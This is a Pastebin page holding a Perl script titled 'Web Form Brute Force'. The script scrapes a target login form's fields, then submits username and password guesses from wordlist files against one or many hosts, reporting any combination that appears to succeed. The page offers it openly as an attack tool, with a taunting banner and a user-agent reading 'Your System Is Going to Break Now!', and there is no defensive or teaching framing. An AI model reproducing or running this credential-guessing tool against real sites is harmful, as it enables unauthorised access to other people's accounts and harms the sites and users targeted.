Advertisement
rutera

Web Form Brute Force

Jan 8th, 2015
254
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Perl 5.30 KB | None | 0 0
  1. #!/usr/bin/perl -w
  2. #########################################
  3. ####   Break the fucking system!...  ####
  4. #####    Anti-System Warriors!      #####
  5. #########################################
  6.  
  7. use LWP::UserAgent;
  8. use Term::ANSIColor;
  9. if(not @ARGV or @ARGV lt 3) {&usage;}  
  10. my $host = shift;
  11. my $user = shift;
  12. my $pass = shift;
  13. print '
  14.         :::::::::::::::::::::::::::::::::::::::::
  15.         :::::::::::::::::::::::::::::::::::::::::';
  16. print "\n";
  17. my      $wait = "Perfoming attack!\nWAIT!...\n";
  18. print $wait;
  19.  
  20. sub usage {
  21.    print color("red"),"Usage",color("white"),": $0 <host> <user> <password>\n";
  22.    print color("red"),"Note",color("white")," : You may use files istead of single words!\n",
  23.    color("reset");
  24.    exit;
  25. }
  26. sub getPage
  27. {
  28. my  %form;
  29.     $agent = LWP::UserAgent->new();
  30.     $agent->agent("Your System Is Going to Break Now!");
  31. my  $request = HTTP::Request->new(GET => $_[0]);
  32.     $request->content_type("*/*;");
  33. my  $resource = $agent->request($request);
  34. if ($resource->is_success)
  35. {   my  $start  = index($resource->content, "<form");
  36.         my  $end    = index($resource->content, "</form>");
  37.         my  $whole  = $end - $start;
  38.         my  $form   = substr($resource->content, $start, $whole);
  39.     if ($form=~m/action="?(.*?)"?/gs){$action = $1;}
  40.         my  @types  = $form=~m/type="?(.*?)"?/gm;
  41.         my  @names  = $form=~m/name="?(.*?)"?/gm;
  42.                 $form{"action"} = defined($action) ? $action : "?";
  43.         for $i(0..scalar(@names)-1)
  44.             { if($form=~m/name="?(.*?)"?/gm)
  45.                         { $form{$types[$i]} = $1; }            
  46.                 }
  47. } else {print $resource->status_line."\n";}
  48. return %form;
  49. }
  50. sub attack
  51. {
  52. my($shost,$suser,$spass) = @_;
  53. my %page = &getPage($shost);
  54. my @site = split(/https?:\/\//, $shost);
  55.    @site = split(/\//, $site[1]);
  56.    $browser = LWP::UserAgent->new();
  57.    $browser->agent("Your System Is Going to Break Now!");
  58. my $req = HTTP::Request->new(POST => "http://$site[0]/$page{'action'}");
  59.    $req->content_type("application/x-www-form-urlencoded");
  60.    $req->content("$page{'submit'}=Submit&$page{'text'}=$suser&$page{'password'}=$spass");
  61. my $res = $browser->request($req);
  62. if($res->is_success) {
  63.         $len = length($res->content);
  64.         push @test, $len;
  65.         print $len."\n";
  66.     for $u (0..scalar(@test)-1)
  67.     { $diff = ($test[$u] - $test[0]);
  68.         if($diff >20){
  69.         die "We found user!\nUser =>",color("green")," $suser ",
  70.             color("white")," Password =>",color("green")," $spass",
  71.             color("reset")," :)\n";}
  72.         } # End foreach $u...
  73. } else {if($res->status_line=~m/([302?moved]*)/gi) {
  74.         die "We found user!\nUser =>",color("green")," $suser ",
  75.                     color("white")," Password =>",color("green")," $spass",
  76.                     color("reset")," :)\n"; } else {print $res->status_line."\n";}
  77.               }
  78. }
  79.  
  80. sub err {
  81.     die color("red"),"Error:",color("reset")," cannot open file ",
  82.             color("red"),"$_[0]" ,color("reset"),"\n";
  83. }
  84. sub verbose {
  85. my ($vhost, $vuser, $vpass) = @_;
  86. print   color("red"),"[ATTEMPT]->",color("white"),"$vhost ",
  87.                 color("red"),"[USER]->"   ,color("white"),"$vuser ",
  88.                 color("red"),"[PASS]->"   ,color("reset"),"$vpass\n";
  89. }
  90. # Checking whether we are reading files!..
  91. if($host=~m/^[^h*]/s)  {
  92.      open (HOST, "<", $host) or &err($host); @hosts = <HOST>;
  93.      close(HOST);
  94. }
  95. if($user=~m/^[^\w*]/s) {
  96.      open (USER, "<", $user) or &err($user); @users = <USER>;
  97.      close(USER);
  98. }
  99. if($pass=~m/^[^\w*]/s) {
  100.    open (PASS, "<", $pass) or &err($pass); @passwords = <PASS>;
  101.      close(PASS);
  102. }
  103. # If reading hosts from file...
  104. if(defined @hosts)
  105. {
  106.  foreach $fhost (@hosts) {
  107.     $fhost =~  s/\x0a//gs;
  108.     print color("red"),"[ATTACK]->",color("reset"),"$fhost\n";
  109.    # If opened file containing usernames...
  110.     if(defined @users) {
  111.       foreach $fuser (@users)
  112.        {$fuser =~ s/\x0a//gs;
  113.         # If we are reading passwords from file...
  114.          if(defined @passwords)
  115.             {foreach $fpass (@passwords)
  116.                 {  $fpass =~ s/\x0a//gs;
  117.                      &verbose($fhost, $fuser, $fpass);
  118.                      &attack($fhost,$fuser,$fpass);
  119.                 } # End foreach $fpass...
  120.             # If there is no password file but exist username-host files!...
  121.              } else { &verbose($fhost,$fuser,$pass);
  122.                             &attack($fhost,$fuser,$pass); }  
  123.              } # End foreach $fuser....
  124.              # If username-password was entered manualy!...
  125.         } else {&verbose($fhost,$user,$pass);
  126.                     &attack($fhost,$user,$pass); }
  127.     } # End foreach $fhost....
  128. # If not defined @hosts....
  129. } else {
  130. # If we should read usernames from file...
  131. if(defined @users) {
  132.   foreach $fuser (@users)
  133.    {$fuser =~ s/\x0a//gs;
  134.    # If we are reading passwords and users from file...
  135.      if(defined @passwords)
  136.         {foreach $fpass (@passwords)
  137.             {  $fpass =~ s/\x0a//gs;
  138.                &verbose($host,$fuser,$fpass);
  139.                  &attack($host,$fuser,$fpass);
  140.             } # End foreach $fpass (@passwords)...
  141.         # If not defined @passwords...
  142.          } else { &verbose($host,$fuser,$pass);
  143.                         &attack($host,$fuser,$pass); }  
  144.          } # End foreach $fuser....
  145.   # If not defined @users...         
  146.         } else {
  147.                 # If reading passwords from file and username-host was entered manualy...
  148.                 if(defined @passwords)
  149.                 {foreach $fpass (@passwords) {
  150.                     $fpass =~ s/\x0a//gs;
  151.                         &verbose($host,$user,$fpass);
  152.                         &attack($host,$user,$fpass);
  153.                 } # End foreach $fpass...
  154.             } else { &attack($host,$user,$pass); }
  155.      }
  156. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement